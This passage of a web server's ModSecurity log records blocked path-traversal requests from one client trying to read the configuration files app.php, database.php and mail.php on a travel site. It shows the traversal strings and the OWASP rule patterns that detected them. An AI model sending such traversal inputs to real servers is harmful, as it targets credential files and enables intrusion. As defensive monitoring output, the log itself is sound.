[Fri Jul 17 08:55:07.014524 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?content=..%2F..%2Fconfig%2Fapp.php&extra=Jf8HN6DLt-ng-1SWws8tMNBg3VAp1XJEjtiM6_Hde-wwzvl26vPiRx-XCizGEp8YpS2SquBekwUghfPGkoP9rcX-usYgRd2uDl_GFLnl-RZOaiI24Ug39LtKVJmYEeM3dQiWMCT0Xx_MwhoQfYzo0gMsc4MIGAS28AREqx35VkPK5iFsZ2b9eWmfGoJrHlWursjodo-K8d0-_Z3LoRheoFVLEF_uWgkqXdc46kgGPGOw7GXHwPuZRdhJ7DIrCcmKfgz4ZsSGMf-h1KsUJQtgD4Ip&debug=3OCINQVCFJJVDX3QZT3BH6PGMPKQHKXANCC376SKXHF5EBO4FDXWWI222DC5AEXQNYUIJ2L3IYKHUKWGSJ4EMVOQOB2HSVJDOHE64NCJK4VZA2F2CVPIUX4IAF7SIC..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBRgAAABs"]
[Fri Jul 17 08:55:07.014589 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:content: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBRgAAABs"]
[Fri Jul 17 08:55:07.014659 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?content=../../config/app.php&extra=Jf8HN6DLt-ng-1SWws8tMNBg3VAp1XJEjtiM6_Hde-wwzvl26vPiRx-XCizGEp8YpS2SquBekwUghfPGkoP9rcX-usYgRd2uDl_GFLnl-RZOaiI24Ug39LtKVJmYEeM3dQiWMCT0Xx_MwhoQfYzo0gMsc4MIGAS28AREqx35VkPK5iFsZ2b9eWmfGoJrHlWursjodo-K8d0-_Z3LoRheoFVLEF_uWgkqXdc46kgGPGOw7GXHwPuZRdhJ7DIrCcmKfgz4ZsSGMf-h1KsUJQtgD4Ip&debug=3OCINQVCFJJVDX3QZT3BH6PGMPKQHKXANCC376SKXHF5EBO4FDXWWI222DC5AEXQNYUIJ2L3IYKHUKWGSJ4EMVOQOB2HSVJDOHE64NCJK4VZA2F2CVPIUX4IAF7SICYTRMXW5TD6GC4A..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBRgAAABs"]
[Fri Jul 17 08:55:07.014723 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?content=../../config/app.php&extra=jf8hn6dlt-ng-1swws8tmnbg3vap1xjejtim6_hde-wwzvl26vpirx-xcizgep8yps2squbekwughfpgkop9rcx-usygrd2udl_gflnl-rzoaii24ug39ltkvjmyeem3dqiwmct0xx_mwhoqfyzo0gmsc4migas28areqx35vkpk5ifsz2b9ewmfgojrhlwursjodo-k8d0-_z3lorheofvlef_uwgkqxdc46kggpgow7gxhwpuzrdhj7dirccmkfgz4zssgmf-h1ksujqtgd4ip&debug=3ocinqvcfjjvdx3qzt3bh6pgmpkqhkxancc376skxhf5ebo4fdxwwi222dc5aexqnyuij2l3iykhukwgsj4emvoqob2hsvjdohe64ncjk4vza2f2cvpiux4iaf7sicytrmxw5td6gc4a..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBRgAAABs"]
[Fri Jul 17 08:55:07.014751 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:content: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBRgAAABs"]
[Fri Jul 17 08:55:07.014784 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:content: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBRgAAABs"]
[Fri Jul 17 08:55:07.014851 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:content: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBRgAAABs"]
[Fri Jul 17 08:55:07.016006 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBRgAAABs"]
[Fri Jul 17 08:55:07.016166 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.016512 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk6quHSHoCJK_V0SBRgAAABs"]
[Fri Jul 17 08:55:07.019180 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:content: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95nwAAAAw"]
[Fri Jul 17 08:55:07.019221 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:content: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95nwAAAAw"]
[Fri Jul 17 08:55:07.019295 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:content: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95nwAAAAw"]
[Fri Jul 17 08:55:07.020432 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95nwAAAAw"]
[Fri Jul 17 08:55:07.020571 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.020838 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk4l9vhFBGA6D8l95nwAAAAw"]
[Fri Jul 17 08:55:07.025368 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?content=..%2F..%2Fconfig%2Fdatabase.php&ref=wo7P0sw1CRuMTyfdnqrP_rzXMxT3PFxNWGRa5_aApQIHD2zyaNxaw0u13mOU27boufbQ1NPtlbUTGnvZ4z9QuOKHDVlpFr7gaVtjnnFMRq6jT_gEGM_ukypLj5277IWp3SV0SdtH-x_08Oai9lhzWFtSjTzRO4QWN0Va3nbeO0IhJcvQXoGWKH2kYudnSLINO-V6mmx7ZQnC6KV1Rl5glz3gO77BgX0AX404H-p4mVaAfKFIo_d0W6VIW9IH5gJXKJ10NjnnAxJgh441qnyQLrFI&ref=SWNGDMUE7Q2F63RS2O7UZV6VLU2LBAVH2CL5CGMIBSPN745AOEEN7PVIJDVMMAZPJEFD6J4JD7COL73TYRNXDZVV2BOFEFM2RVNYSMAYO2EROWJWUIJZ3OP5V474T..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUWgAAABI"]
[Fri Jul 17 08:55:07.025417 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:content: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUWgAAABI"]
[Fri Jul 17 08:55:07.025463 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?content=../../config/database.php&ref=wo7P0sw1CRuMTyfdnqrP_rzXMxT3PFxNWGRa5_aApQIHD2zyaNxaw0u13mOU27boufbQ1NPtlbUTGnvZ4z9QuOKHDVlpFr7gaVtjnnFMRq6jT_gEGM_ukypLj5277IWp3SV0SdtH-x_08Oai9lhzWFtSjTzRO4QWN0Va3nbeO0IhJcvQXoGWKH2kYudnSLINO-V6mmx7ZQnC6KV1Rl5glz3gO77BgX0AX404H-p4mVaAfKFIo_d0W6VIW9IH5gJXKJ10NjnnAxJgh441qnyQLrFI&ref=SWNGDMUE7Q2F63RS2O7UZV6VLU2LBAVH2CL5CGMIBSPN745AOEEN7PVIJDVMMAZPJEFD6J4JD7COL73TYRNXDZVV2BOFEFM2RVNYSMAYO2EROWJWUIJZ3OP5V474TNUCXCJMCRTSHJO..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUWgAAABI"]
[Fri Jul 17 08:55:07.025489 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?content=../../config/database.php&ref=wo7p0sw1crumtyfdnqrp_rzxmxt3pfxnwgra5_aapqihd2zyanxaw0u13mou27boufbq1nptlbutgnvz4z9quokhdvlpfr7gavtjnnfmrq6jt_gegm_ukyplj5277iwp3sv0sdth-x_08oai9lhzwftsjtzro4qwn0va3nbeo0ihjcvqxogwkh2kyudnslino-v6mmx7zqnc6kv1rl5glz3go77bgx0ax404h-p4mvaafkfio_d0w6viw9ih5gjxkj10njnnaxjgh441qnyqlrfi&ref=swngdmue7q2f63rs2o7uzv6vlu2lbavh2cl5cgmibspn745aoeen7pvijdvmmazpjefd6j4jd7col73tyrnxdzvv2bofefm2rvnysmayo2erowjwuijz3op5v474tnucxcjmcrtshjo..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUWgAAABI"]
[Fri Jul 17 08:55:07.025507 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:content: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUWgAAABI"]
[Fri Jul 17 08:55:07.025529 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:content: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUWgAAABI"]
[Fri Jul 17 08:55:07.025628 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:content: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUWgAAABI"]
[Fri Jul 17 08:55:07.028275 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUWgAAABI"]
[Fri Jul 17 08:55:07.028416 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.028746 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk11_86A5R6msWNfUWgAAABI"]
[Fri Jul 17 08:55:07.032771 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?content=..%2F..%2Fconfig%2Fmail.php&sid=xRIvgD6lbg9Yzc_45VeePNMiYLmT9GGnt5aZ57KF2n8cIuRnz8dsBg8Q6Qxi8pN4oKfIAigygdc8z0c6ww4okP4536kZhbQxE1kZBcfqPWX0GBJ0HUcNrkz0pfwG-9r8UkkjKIlIFLxWhgop8mt4vnBWRH1agovelkPLPwDOp-M4P8phyEFrxcR6OZmf8Cy4Ck8McMS_deMymIgqa0IScIfLSkE--BJXHNk-xYcRHYi7z-_Xg5_i1olwIxDV9lCmZK2X_0I81eTAEMYO32CVg89W&extra=O2E4K6BCFQCB6K6KMT7U3GM64DTQIR47Z6JI2EC4BXR6JSIPEZ7ZZDJV2DHBRKLVYUHJ7KMI422BHOPVCBMQNDVQQIVPCXRYPHCKW3ERU57G4C4VL6N6VP2XSYKWR4Y..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUWwAAABI"]
[Fri Jul 17 08:55:07.032828 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:content: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUWwAAABI"]
[Fri Jul 17 08:55:07.032873 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: 